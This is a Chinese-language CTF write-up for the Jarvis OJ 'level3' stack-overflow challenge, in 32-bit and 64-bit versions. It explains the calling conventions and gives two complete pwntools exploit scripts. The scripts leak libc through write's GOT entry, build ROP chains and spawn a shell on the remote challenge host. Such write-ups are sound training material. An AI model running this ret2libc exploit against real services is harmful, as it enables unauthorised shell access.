64位程序和32位的区别就是在于参数的传递。32位使用栈帧来作为传递的参数的保存位置,而64位使用寄存器,分别用rdi,rsi,rdx,rcx,r8,r9作为第1-6个参数。rax作为返回值 64位没有栈帧的指针,32位用ebp作为栈帧指针,64位取消了这个设定,rbp作为通用寄存器使用。
具体可以看这篇:https://yq.aliyun.com/ziliao/483166
用两道题目一样但一个是32位一个是64位来看看具体的区别。
题目地址: https://pan.baidu.com/s/1wsts4hC25ndlw_DPA-fsRg
提取码:01un
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}
很明显的栈溢出,但文件里面没有给system和/bin/sh但给了libc所以需要leak出基址就可以了。这里要栈溢出两次,第一次返回到主函数。
32位的exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
#context.terminal = ['terminator','-x','sh','-c']
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
elf=ELF('level3')
libc = ELF('libc-2.19.so')
#r=process('level3')
r=remote('pwn2.jarvisoj.com',9879)
#pwnlib.gdb.attach(r)
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.symbols['main']
payload=flat(['a'\*140,write_plt,main,1,write_got,4])
r.recvuntil("Input:\n")
r.sendline(payload)
write_addr = u32(r.recv(4))
base_addr = write_addr - libc.symbols['write']
sys_addr=base_addr+libc.symbols['system']
binsh_addr=base_addr+libc.search('/bin/sh').next()
payload=flat(['a'*140,sys_addr,'a'*4,binsh_addr])
r.recvuntil("Input:\n")
r.sendline(payload)
r.interactive()
64位就需要先找到几个传参数的寄存器。用ROPgadget来找比较方便。但是这里存在一个问题:
当我们想要构造 write() 函数的调用栈的时候 , 参数的传递需要通过寄存器传参的方式进行也就是说要调用 write(1, read_got, 0x08)我们需要将 :
rdi 设置为 1
rsi 设置为 read() 函数在 got 表中的地址
rdx 设置为 0x08
我们来通过 ropper 来寻找一下 pop rdi; ret 指令 , 发现可以成功在可执行程序中找到pop rsi; ret 也可以顺利找到但是 pop rdx; ret 却找不到 , 这个时候应该怎么办呢 ?如果我们不设置 rdx寄存器的值的话 , 那在 write() 调用的时候就会直接取得 rdx 之前的值
我们可以考虑一下 , 我们这里只需要获取 write() 返回的前八个字节作为地址
那么就算打印的数据较多 , 也并不会影响什么 , 只需要能保证 rdx 寄存器的值大于 8 即可经过调试发现这里 rdx 的值确实是大于 8 的 , 这样我们就只需要接收前八个字节作为地址即可。
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
拿到了两个地址之后就是leak出write的真实地址计算基址就行了。第二次溢出就一个参数,只要用rdi就行了。
Exp
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
#r=process('./level3_x64')
elf=ELF('level3_x64')
libc=ELF('libc-2.19.so')
r=remote("pwn2.jarvisoj.com", "9883")
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
vul_ret_addr=0x04005E6
pop_rdi_addr=0x004006b3
pop_rsi_addr=0x004006b1
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*0x88+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(write_got)+'daassaas'+p64(write_plt)+p64(vul_ret_addr)
r.recvuntil("Input:\n")
r.sendline(payload)
write_addr=u64(r.recv(8))
write_libc=libc.symbols['write']
base_addr=write_addr-write_libc
system_addr=libc.symbols['system']+base_addr
bin_addr=libc.search('/bin/sh').next()+base_addr
payload='a'*0x88+p64(pop_rdi_addr)+p64(bin_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()